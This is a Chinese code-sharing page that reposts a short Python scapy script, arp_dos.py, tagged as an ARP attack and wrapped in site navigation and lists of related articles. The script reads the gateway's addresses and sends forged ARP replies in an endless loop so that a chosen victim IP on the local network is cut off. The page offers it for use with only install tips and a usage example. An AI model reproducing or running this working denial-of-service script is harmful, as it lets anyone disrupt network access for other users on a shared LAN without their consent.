注:使用这个脚本需要安装scapy 包
最好在linux平台下使用,因为scapy包在windows上安装老是会有各种问题
复制代码代码如下:
#coding:utf-8
#example :sudo python arp_dos.py 192.168.1.103
from scapy.all import ARP,send
import os,re,sys
def get_gateway_ip():
t=os.popen('route -n')
for i in t:
if i.startswith('0.0.0.0'):
r=re.split("\s+",i)
return r[1]
def get_gateway_hw(ip):
t=os.popen('arp -e %s' % ip)
for i in t:
if i.startswith(ip):
r=re.split("\s+",i)
return r[2]
def hack(hackip):
ip=get_gateway_ip()
hw=get_gateway_hw(ip)
arp=ARP(op=2,pdst=ip,hwdst=hw,psrc=hackip)
#os.popen('ifconfig eth0 %s' % hackip )
while 1:
send(arp)
def help():
print ("USEAGE: sudo python arp_dos.py 192.168.1.100")
def main():
if len(sys.argv) != 2:
help()
else:
hack(sys.argv[1])
if __name__=="__main__":
main()
QQ空间 搜狐微博 人人网 开心网 百度搜藏更多
Tags:python ARP攻击
复制链接收藏本文打印本文关闭本文返回首页
上一篇:python和C语言混合编程实例
下一篇:windows下wxPython开发环境安装与配置方法
相关文章
2014-03-03Python continue语句用法实例
2014-04-04python抓取网页图片示例(python爬虫)
2013-02-02用python实现的去除win下文本文件头部BOM的代码
2014-01-01python命令行参数sys.argv使用示例
2014-04-04python判断、获取一张图片主色调的2个实例
2013-11-11python读取Android permission文件
2008-08-08python备份文件的脚本
2009-04-04用python实现的可以拷贝或剪切一个文件列表中的所有文件
2009-11-11python 文件和路径操作函数小结
2014-05-05从零学python系列之数据处理编程实例(二)
文章评论
最 近 更 新
python列表去重的二种方法
Python爬虫框架Scrapy安装使用步骤
Python读写Excel文件的实例
使用scrapy实现爬网站例子和实现网络爬虫
python高并发异步服务器核心库forkcore使
pyside写ui界面入门示例
Python 命令行参数sys.argv
浅析python 内置字符串处理函数的使用方法
Pyramid将models.py文件的内容分布到多个
python网络编程之UDP通信实例(含服务器端
热 点 排 行
Python入门教程 超详细1小时学会
python 中文乱码问题深入分析
比较详细Python正则表达式操作指
Python字符串的encode与decode研
Python open读写文件实现脚本
Python enumerate遍历数组示例应
Python 深入理解yield
Python+Django在windows下的开发
python 文件和路径操作函数小结
python 字符串split的用法分享